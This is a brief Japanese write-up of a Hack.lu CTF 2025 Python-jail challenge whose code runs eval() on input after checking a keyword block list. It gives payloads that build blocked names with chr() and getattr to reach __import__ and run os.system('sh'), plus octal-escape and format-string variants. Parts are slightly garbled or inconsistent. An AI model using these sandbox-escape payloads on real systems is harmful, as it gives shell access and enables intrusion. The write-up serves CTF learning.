Hack.lu CTF 2025 - FANGELSE
Challenge
“FÄNGELSE” はスウェーデン語で “prison”。
import re
code = input()
# 特定のパターンを禁止BLOCKED = ['import', 'eval', 'exec', 'open', 'os', 'sys', '__']
for pattern in BLOCKED: if pattern in code.lower(): print("Blocked!") exit()
eval(code)Solution
Unicode によるフィルタバイパス
# '__' を Unicode で表現__import__ # 全角アンダースコア文字列構築
# chr() で禁止文字列を構築getattr(__builtins__, chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116))__ のバイパス
# getattr を使用getattr(getattr((), chr(95)*2 + 'class' + chr(95)*2), ...)Technical Details
フィルタの分析
# 'import' を検出 → 'import' は検出されない# '__' を検出 → 全角 '__' は検出されない多段階エスケープ
# Step 1: getattr を取得g = getattr
# Step 2: builtins から __import__ を取得i = g(__builtins__, chr(95)*2 + chr(105) + chr(109) + chr(112) + chr(111) + chr(114) + chr(116) + chr(95)*2)
# Step 3: os をインポートo = i(chr(111) + chr(115))
# Step 4: system を実行g(o, chr(115) + chr(121) + chr(115) + chr(116) + chr(101) + chr(109))(chr(115) + chr(104))Alternative Solutions
別解1: 8進数エスケープ
# '\137\137' = '__'exec('\137\137import\137\137("os").system("sh")')別解2: format 文字列
'{0.__class__}'.format(())Flag
flag{...}
References
- Hack.lu CTF 2025 Official
- https://jia.je/ctf-writeups/misc/pyjail.html